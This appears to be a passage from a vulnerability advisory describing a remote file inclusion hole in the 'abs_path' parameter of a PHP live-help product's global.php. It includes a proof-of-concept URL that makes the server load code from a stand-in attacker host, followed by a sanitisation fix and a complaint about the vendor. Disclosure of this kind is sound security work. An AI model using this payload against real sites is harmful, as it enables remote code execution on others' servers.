require_once $abs_path."/libsecure.php";  
include_once $abs_path."/include/class.browser.php";  
...  
----------------------------------------------------------  
  
Input passed to the "abs_path" parameter in global.php is not  
properly verified before being used. This can be exploited to execute  
arbitrary PHP code by including files from local or external  
resources.  
  
Proof Of Concept:  
~~~~~~~~~~~~~~~~~  
  
http://target.com/[phplivehelper_path]/global.php?abs_path=http://attacker.com/inject.txt?  
  
Solution:  
~~~~~~~~~  
- Sanitize variable $abs_path on global.php.  
  
Notification:  
~~~~~~~~~~~~  
  
I've been contacting the web/software administrator to tell about this hole in his system, but instead of giving a nice   
  
response, he replied so rudely and arrogantly. I recommend not to use this product for your own sake.
